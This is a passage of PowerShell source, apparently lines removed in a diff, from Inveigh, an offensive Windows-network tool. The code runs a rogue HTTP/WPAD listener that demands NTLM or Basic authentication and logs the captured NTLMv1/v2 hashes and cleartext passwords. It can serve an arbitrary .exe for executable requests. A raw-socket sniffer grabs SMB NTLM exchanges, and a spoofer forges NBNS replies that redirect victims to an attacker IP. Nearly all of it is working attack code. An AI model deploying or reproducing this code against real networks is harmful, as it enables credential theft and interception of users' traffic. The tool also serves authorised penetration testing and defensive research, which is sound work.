$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } - - if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - - } - - } - - if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") - { - $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) - $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) - $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) - } - - if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( - $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_client_close = $true - } - else - { - - if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) - { - $HTTPNTLMESS = $true - } - else - { - $HTTPNTLMESS = $false - } - - if($proxy_listener) - { - $HTTP_response_status_code = 0x34,0x30,0x37 - $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 - } - else - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 - } - - $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 - $HTTP_client_close = $false - } - - if($TCP_request -like "50-4f-53-54*") - { - $HTTP_POST_request_extract = $TCP_request.Substring($TCP_request.IndexOf("-0D-0A-0D-0A-") + 12) - $HTTP_POST_request_extract = $HTTP_POST_request_extract.Substring(0,$HTTP_POST_request_extract.IndexOf("-00-")) - $HTTP_POST_request_extract = $HTTP_POST_request_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_POST_request = New-Object System.String ($HTTP_POST_request_extract,0,$HTTP_POST_request_extract.Length) - - if($HTTP_POST_request_old -ne $HTTP_POST_request) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP") - $inveigh.POST_request_file_queue.Add($HTTP_POST_request) - $inveigh.POST_request_list.Add($HTTP_POST_request) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type POST request written to " + $inveigh.POST_request_out_file) - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") - } - - } - - $HTTP_POST_request_old = $HTTP_POST_request - } - - if($HTTP_header_authorization.StartsWith('NTLM ')) - { - - $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' - [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) - - if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') - { - $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port - } - elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') - { - $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes - $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes - [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = "" - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes - $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes - $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - else # NTLMv2 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - - if ($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $HTTP_source_IP -ne $IP) - { - $inveigh.IP_capture_list.Add($HTTP_source_IP) - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_client_close = $true - $NTLM_challenge = "" - - if($proxy_listener) - { - - if($HTTPResponse -or $HTTPDir) - { - $HTTP_header_cache_control = 0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x6e,0x6f,0x2d,0x63,0x61,0x63,0x68,0x65,0x2c,0x20,0x6e,0x6f,0x2d,0x73,0x74,0x6f,0x72,0x65 - } - else - { - $HTTP_send = $false - } - - } - - } - else - { - $HTTP_client_close = $true - } - - } - elseif($HTTP_header_authorization.startswith('Basic ')) - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_header_authorization = $HTTP_header_authorization -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($HTTP_header_authorization)) - $HTTP_client_close = $true - $inveigh.cleartext_file_queue.Add($cleartext_credentials) - $inveigh.cleartext_list.Add($cleartext_credentials) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") - } - - } - - if(($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( - $WPADAuthIgnore.Count -gt 0 -and $WPADAuth -like 'NTLM*' -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_})) -or $HTTP_client_close) - { - - if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))) - { - [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/exe") - } - elseif($HTTPDir) - { - - if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat') - { - [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) - } - elseif(($HTTPDefaultFile -and $HTTP_request_raw_url -eq '' -or $HTTPDefaultFile -and $HTTP_request_raw_url -eq '/') -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile))) - { - [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) - } - elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') - { - [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") - } - else - { - - if(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) - { - [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTP_request_raw_url)) - } - else - { - [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPResponse) - } - - } - - } - else - { - - if($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) - { - $HTTP_message = $WPADResponse - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") - } - elseif($HTTPResponse) - { - $HTTP_message = $HTTPResponse - - if($HTTPContentType) - { - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTPContentType) - } - - } - - [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - } - - } - else - { - [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message_bytes.Length) - - if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) - { - $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) - } - elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) - { - $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") - } - - $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary - $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) - $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) - $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) - - if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) - { - $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_header_content_type) - { - $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_header_cache_control) - { - $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_send) - { - $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) - $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse - $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) - $HTTP_stream.Flush() - } - - Start-Sleep -m 10 - $HTTP_request_raw_URL_old = $HTTP_request_raw_URL - $HTTP_client_handle_old = $HTTP_client.Client.Handle - - if($HTTP_client_close) - { - $HTTP_reset_delay = $false - - if($proxy_listener) - { - $HTTP_client.Client.Close() - } - else - { - $HTTP_client.Close() - } - - } - - } - else - { - - if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) - { - $HTTP_client.Close() - $HTTP_client_close = $true - $HTTP_reset_delay = $false - } - else - { - Start-Sleep -m 100 - } - - } - - } - - $HTTP_client.Close() - start-sleep -s 1 - $HTTP_listener.Server.Blocking = $false - Start-Sleep -s 1 - $HTTP_listener.Server.Close() - Start-Sleep -s 1 - $HTTP_listener.Stop() -} - -# Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer -$sniffer_scriptblock = -{ - param ($IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,$NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply, - $SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval) - - $sniffer_running = $true - $byte_in = New-Object System.Byte[] 4 - $byte_out = New-Object System.Byte[] 4 - $byte_data = New-Object System.Byte[] 4096 - $byte_in[0] = 1 - $byte_in[1-3] = 0 - $byte_out[0] = 1 - $byte_out[1-3] = 0 - $sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) - $sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) - $sniffer_socket.ReceiveBufferSize = 4096 - - try - { - $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") - $sniffer_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") - } - - } - - $sniffer_socket.Bind($end_point) - $sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) - $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) - [Array]::Reverse($LLMNR_TTL_bytes) - $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) - [Array]::Reverse($mDNS_TTL_bytes) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - $LLMNR_learning_log = New-Object System.Collections.Generic.List[string] - $NBNS_learning_log = New-Object System.Collections.Generic.List[string] - - if($SpooferLearningDelay) - { - $spoofer_learning_delay = New-TimeSpan -Minutes $SpooferLearningDelay - $spoofer_learning_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - while($inveigh.running -and $sniffer_running) - { - $packet_data = $sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) - $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data) - $binary_reader = New-Object System.IO.BinaryReader($memory_stream) - $version_HL = $binary_reader.ReadByte() - $binary_reader.ReadByte() > $null - $total_length = DataToUInt16 $binary_reader.ReadBytes(2) - $binary_reader.ReadBytes(5) > $null - $protocol_number = $binary_reader.ReadByte() - $binary_reader.ReadBytes(2) > $null - $source_IP_bytes = $binary_reader.ReadBytes(4) - $source_IP = [System.Net.IPAddress]$source_IP_bytes - $destination_IP_bytes = $binary_reader.ReadBytes(4) - $destination_IP = [System.Net.IPAddress]$destination_IP_bytes - $header_length = [Int]"0x$(('{0:X}' -f $version_HL)[1])" * 4 - - switch($protocol_number) - { - - 6 - { # TCP - $source_port = DataToUInt16 $binary_reader.ReadBytes(2) - $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) - $binary_reader.ReadBytes(8) > $null - $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 - $binary_reader.ReadBytes(7) > $null - $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length)) - - switch ($destination_port) - { - - 139 - { - if($SMB -eq 'Y') - { - - if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) - { - SMBNTLMResponse $payload_bytes - } - - $client_IP = "" - $client_port = "" - $NTLM_challenge = "" - - } - } - - 445 - { - - if($SMB -eq 'Y') - { - - if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) - { - SMBNTLMResponse $payload_bytes - } - - $client_IP = "" - $client_port = "" - $NTLM_challenge = "" - - } - - } - - } - - # Outgoing packets - switch ($source_port) - { - - 139 - { - - if($SMB -eq 'Y') - { - $client_IP = $destination_IP - $client_port = $destination_port - $NTLM_challenge = SMBNTLMChallenge $payload_bytes - } - - } - - 445 - { - - if($SMB -eq 'Y') - { - $client_IP = $destination_IP - $client_port = $destination_port - $NTLM_challenge = SMBNTLMChallenge $payload_bytes - } - - } - - } - - } - - 17 - { # UDP - $source_port = $binary_reader.ReadBytes(2) - $endpoint_source_port = DataToUInt16 ($source_port) - $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) - $UDP_length = $binary_reader.ReadBytes(2) - $UDP_length_uint = DataToUInt16 ($UDP_length) - $binary_reader.ReadBytes(2) > $null - $payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4) - - # Incoming packets - switch($destination_port) - { - - 137 # NBNS - { - - if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01') - { - $UDP_length[0] += 12 - - $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - $NBNS_response_packet = 0x00,0x89 + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $NBNS_response_data - - $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) - - switch ($NBNS_query_type) - { - - '41-41' - { - $NBNS_query_type = '00' - } - - '41-44' - { - $NBNS_query_type = '03' - } - - '43-41' - { - $NBNS_query_type = '20' - } - - '42-4C' - { - $NBNS_query_type = '1B' - } - - '42-4D' - { - $NBNS_query_type = '1C' - } - - '42-4E' - { - $NBNS_query_type = '1D' - } - - '42-4F' - { - $NBNS_query_type = '1E' - } - - } - - $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) - $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) - $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" - $n = 0 - - do - { - $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) - $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 - } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) - - $n = 0 - - do - { - $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) - $n += 2 - } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - - $NBNS_request_ignore = $false - - if($NBNS -eq 'Y') - { - - if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $NBNS_query_string -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -and $source_IP -ne $IP) - { - - if(($NBNS_learning_log.Exists({param($s) $s -like "20* $NBNS_query_string"}))) - { - $NBNS_learning_queue_time = [DateTime]$NBNS_learning_log.Find({param($s) $s -like "20* $NBNS_query_string"}).SubString(0,19) - - if((Get-Date) -ge $NBNS_learning_queue_time.AddMinutes($SpooferLearningInterval)) - { - $NBNS_learning_log.RemoveAt($NBNS_learning_log.FindIndex({param($s) $s -like "20* $NBNS_query_string"})) - $NBNS_learning_send = $true - } - else - { - $NBNS_learning_send = $false - } - - } - else - { - $NBNS_learning_send = $true - } - - if($NBNS_learning_send) - { - $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-" - $NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137 - $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] - - $NBNS_request_packet = $NBNS_transaction_ID_bytes + - 0x01,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20 + - $NBNS_hostname_bytes + - 0x00,0x20,0x00,0x01 - - $NBNS_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]::broadcast,137) - $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint) - $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length) - $NBNS_UDP_client.Close() - $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_transaction_ID $NBNS_query_string") - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + 